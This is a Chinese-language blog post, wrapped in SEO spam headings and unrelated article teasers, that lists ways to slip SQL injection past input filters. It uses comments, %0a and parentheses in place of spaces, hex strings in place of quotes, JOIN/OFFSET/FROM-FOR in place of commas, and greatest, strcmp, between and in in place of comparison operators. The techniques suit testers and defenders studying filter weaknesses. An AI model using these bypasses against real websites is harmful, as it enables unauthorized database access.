大良网站建设网站模板建设

北京市泰赐传媒有限公司 2026/09/09 19:56:30

一、背景

在平时的sql注入不乏出现会一些注入语句进行过滤的情况,如对空格、引号之类的进行过滤,本文在这里就对一些平时经常用到的过滤方式进行一些总结,希望能够给到大家参考。

二、输入内容过滤

一、空格过滤

1、采用注释符的形式:/**/

从图中mysql能正确执行sql语句说明靠/**/可行的。

2、采用%0a

3、采用括号

如:select(user())from dual where(1=1)and(2=2)

二、引号过滤

直接采用十六进制的形式,直接用16进制代表整个字符串。

原始情况:

select column_name from information_schema.tables where table_name="users"

改成用十六进制的情况:

select column_name from information_schema.tables where table_name=0x7573657273

三、逗号过滤

1、join绕过简单注入语句:

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

2、substr和mid()可以使用from for的方法

如:

select ascii(substr(database(),1,1))=115;

select ascii(mid(database(),1,1))=115;

变成

select ascii(substr(database() from 2 for 1))=115;

select ascii(mid(database() from 1 for 1))=115;

3、limit可使用offest绕过

select * from users limit 1,2;

select * from users limit 2 offset 1; 意思是跳过第一条,输出两条

4、绕过in里面的逗号:

原始:

SELECT * FROM users WHERE id IN (1,2,3);

改之后:

SELECT * FROM users WHERE id=1 OR id=2 OR id=3;

四、比较符号被过滤:

1、greatest

greatest(n1,n2,n3,...) //返回其中的最大值

2、strcmp

strcmp(str1,str2) //当str1=str2,返回0,当str1>str2,返回1,当str1<str2,返回-1

3、between and

如:

SELECT 5 BETWEEN 1 AND 10; -- 返回 1 (true)

SELECT 'c' BETWEEN 'a' AND 'z'; -- 返回1

4、in

SELECT 5 IN (1, 3, 5, 7); -- 返回 1 (true)

SELECT 'admin' IN ('user', 'guest', 'admin'); -- 返回 1

SELECT 'root' IN ('admin', 'user'); -- 返回 0 (false)

5、直接用等号

我门做比较也不一定非得用大于小于符号,也可以用等号代替使用。

aa

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

海南网站建设鄂州网站建设

KV Cache优化:提高推理效率的核心在大模型时代,用户已经不再满足于“能不能生成”,而是越来越关注“生成得够不够快”。尤其是在对话系统、代码补全、实时翻译

2026/06/30 11:42:57

建设厅网站汕头网站建设

环境idea 2023.3.5jdk 17mysql 8创建SpringBoot工程创建SpringBoot工程,这里有两种方式可选,一种是使用idea提供的Spring

2026/06/30 14:16:39

网站建设推广网站建设平台

在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visu

2026/06/30 11:44:27

网站建设广告义乌网站建设

解密WPF黑匣子:ILSpy BAML反编译深度实战指南【免费下载链接】ILSpy.NET Decompiler with support for PDB generation, Rea

2026/06/30 14:04:38

如何建设网站银川网站建设

Windows 11 LTSC 终极微软商店安装完整指南【免费下载链接】LTSC-Add-MicrosoftStoreAdd Windows Store to Windows 11 24H2 LTSC

2026/06/30 11:12:54

建设厅网站天津网站建设公司

Steam成就管理神器:一键解锁游戏数据的完整掌控方案【免费下载链接】SteamAchievementManagerSteam Achievement Manager项目地址: http

2026/06/30 11:09:53